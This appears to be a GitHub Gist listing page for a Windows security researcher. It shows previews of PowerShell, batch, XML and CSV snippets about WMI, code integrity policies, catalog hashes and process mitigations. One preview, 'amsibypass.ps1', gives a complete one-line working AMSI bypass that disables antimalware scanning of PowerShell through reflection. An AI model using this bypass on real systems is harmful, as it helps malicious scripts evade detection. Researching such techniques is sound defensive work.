Matt Graeber mattifestation
mattifestation
/ build.bat
Created
June 16, 2014 21:31
Module Initializer PoC - Run build.bat from current dir in Visual Studio Command Prompt
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| csc test.cs | |
| ildasm /OUT=test.il test.exe | |
| type moduleinititalizer.il >> test.il | |
| ilasm /EXE /OUTPUT=test.exe test.il |
mattifestation
/ HashMismatch.ps1
Created
March 16, 2017 02:34
Why are CAT SHA1 hashes different than SHA1 hashes for PE files?
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| Install-Module -Name PSScriptAnalyzer -RequiredVersion '1.11.0' -Force | |
| $ModuleInfo = Get-Module -ListAvailable -Name PSScriptAnalyzer | ? { $_.Version -eq '1.11.0' } | |
| $ModuleDir = Split-Path -Parent $ModuleInfo.Path | |
| # C:\Program Files\WindowsPowerShell\Modules\PSScriptAnalyzer\1.11.0 for me | |
| $NewtonsoftPath = "$ModuleDir\Newtonsoft.Json.dll" | |
| $ManifestPath = "$ModuleDir\PSScriptAnalyzer.psd1" | |
| # Requires Win 10 Enterprise to use the ConfigCI cmdlets | |
| $ModuleFileInfo = Get-SystemDriver -UserPEs -NoShadowCopy -ScanPath $ModuleDir -PathToCatroot $ModuleDir |
mattifestation
/ ProcessMitigationOption.ps1
Created
October 21, 2016 21:22
Helper function for working with registry process mitigation options.
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| function ConvertTo-ProcessMitigationOption { | |
| [OutputType([String])] | |
| param ( | |
| [Switch] | |
| $DEPEnable, | |
| [Switch] | |
| $DEPATLThunkEnable, | |
| [Switch] |
mattifestation
/ ConvertFromSID.ps1
Created
May 14, 2017 15:57
Example of filtering off the Win32_AccountSID association class to convert a SID->User using only WMI
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| function ConvertFrom-SID { | |
| param ( | |
| [Parameter(Position = 0, Mandatory = $True)] | |
| [String] | |
| [ValidateNotNullOrEmpty()] | |
| $SID | |
| ) | |
| $AccountSIDInstance = Get-CimInstance -ClassName Win32_AccountSID -Filter "Setting = 'Win32_SID.SID=`"$SID`"'" |
mattifestation
/ amsibypass.ps1
Created
July 17, 2017 22:54
Compels AmsiScanBuffer/AmsiScanString to return E_INVALIDARG
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| [Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141) |
mattifestation
/ CatalogStoreHashes.csv
Last active
July 25, 2017 15:34
Unique system catalog store hashes on Win 10
We can't make this file beautiful and searchable because it's too large.
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| "Algorithm","FileHash" | |
| "SHA1","00083ACBE326F29CE6B4900869426640FFC1F14D" | |
| "SHA1","008BE24EDEA854743622BD1EE748D85E9B5402C8" | |
| "SHA1","00953C7E137E01D555EDA3968610355E9CBCDF71" | |
| "SHA1","010009033B9E03BA22C311A4284E673BA6394972" | |
| "SHA1","01396BB9E2633BC0DF02F4456D00791CEC0386A6" | |
| "SHA1","0190ECC0144AC48107208CD8F82CE84F9853DB23" | |
| "SHA1","01914EC642D0439572E204EFF8A235526B7365A3" | |
| "SHA1","0199A56244408EFBD2B1A92E2FF79B1C0A63BCD4" | |
| "SHA1","01C270EB9A5B431C38D2375769E7BC99A0049FBC" |
mattifestation
/ NanoServerBareMetalCI.xml
Created
November 27, 2016 00:12
A working code integrity policy that I was able to deploy to my bare metal Nano Server install on my Intel NUC.
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| <?xml version="1.0" encoding="utf-8"?> | |
| <SiPolicy xmlns="urn:schemas-microsoft-com:sipolicy"> | |
| <VersionEx>1.0.0.0</VersionEx> | |
| <PolicyTypeID>{A244370E-44C9-4C06-B551-F6016E563076}</PolicyTypeID> | |
| <PlatformID>{2E07F7E4-194C-4D20-B7C9-6F44A6C5A234}</PlatformID> | |
| <Rules> | |
| <Rule> | |
| <Option>Enabled:Unsigned System Integrity Policy</Option> | |
| </Rule> | |
| <Rule> |
mattifestation
/ AssocEnum.ps1
Last active
September 16, 2017 06:27
Enumerates all association classes and the classes they link for a given WMI namespace
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| function Get-AssociatedClassRelationship { | |
| param ( | |
| [String] | |
| $Namespace = 'root/cimv2' | |
| ) | |
| Get-CimClass -Namespace $Namespace | ? { $_.CimClassQualifiers['Association'] -and (-not $_.CimClassQualifiers['Abstract']) } | % { | |
| $KeyQualifiers = @($_.CimClassProperties | ? { $_.Qualifiers['key'] }) | |
| if ($KeyQualifiers.Count -eq 2) { |
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| <?xml version="1.0"?> | |
| <xs:schema attributeFormDefault="unqualified" | |
| elementFormDefault="qualified" | |
| xmlns:xs="http://www.w3.org/2001/XMLSchema" | |
| version="1.0"> | |
| <!-- --> | |
| <!-- AppLockerPolicy-Type --> | |
| <!-- --> | |
| <xs:element name="AppLockerPolicy" |
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| function ConvertTo-Oid { | |
| <# | |
| .SYNOPSIS | |
| Decodes a DER encoded ASN.1 object identifier (OID) | |
| Author: Matthew Graeber (@mattifestation) | |
| License: BSD 3-Clause | |
| .DESCRIPTION |
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